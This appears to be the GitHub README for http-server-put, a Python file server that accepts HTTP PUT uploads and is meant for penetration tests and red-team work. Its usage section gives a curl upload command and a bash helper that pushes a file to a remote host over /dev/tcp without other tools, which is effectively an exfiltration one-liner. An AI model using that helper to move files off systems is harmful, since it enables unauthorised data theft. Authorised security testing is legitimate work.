Skip to content

About

An utility based on Python3's http.server that supports HTTP PUT file upload for offensive cybersecurity assessments.

Resources

Contributing

Stars

1 star

Watchers

0 watching

Forks

Repository files navigation

http-server-put

Extended http.server that supports HTTP PUT method for file upload. Intended for usage in offensive cybersecurity assessments (penetration tests, red team exercises/operations, etc).

Description and features

http-server-put is a basic web server based on Python 3's http.server. Features:

  • IPv6 support (not dual stack)
  • HTTP PUT file upload support, instead of requiring a POST upload page like uploadserver
  • Drop-in replacement for http.server (same CLI interface).

Installation

You can install http-server-put using pip:

pip install http-server-put

Or you can install from the local repository:

pipx install .

Usage

Listening to connections

http-server-put [-h] [--bind ADDRESS] [--directory DIR] [port]
python -m http_server_put [-h] [--bind ADDRESS] [--directory DIR] [port]

Binds to the specified ADDRESS and PORT if provided, otherwise binds to all interfaces by default, on port 8000.

Serves file in the specified DIR if provided, otherwise serves file in the current working directory.

Uploading files

File upload can be performed through HTTP PUT. Example using curl:

curl -T FILE http://URL:PORT

You can also use a shell (eg. bash) function helper to upload files when no tools are available:

upload() { echo -e "PUT $1 HTTP/1.1\r\nHost: $2\r\nContent-type: text/plain\r\nContent-length: $(ls -la $1 | cut -d' ' -f 5)\r\n\r\n$(cat $1)" > /dev/tcp/$2/$3; }

upload FILE URL PORT

Contributing

If you are interested in contributing to http-server-put, read the project's contributing guidelines.

License

License: MIT

http-server-put is licensed under MIT License. For more information, refer to the accompanying license information.

About

An utility based on Python3's http.server that supports HTTP PUT file upload for offensive cybersecurity assessments.

Resources

Contributing

Stars

1 star

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages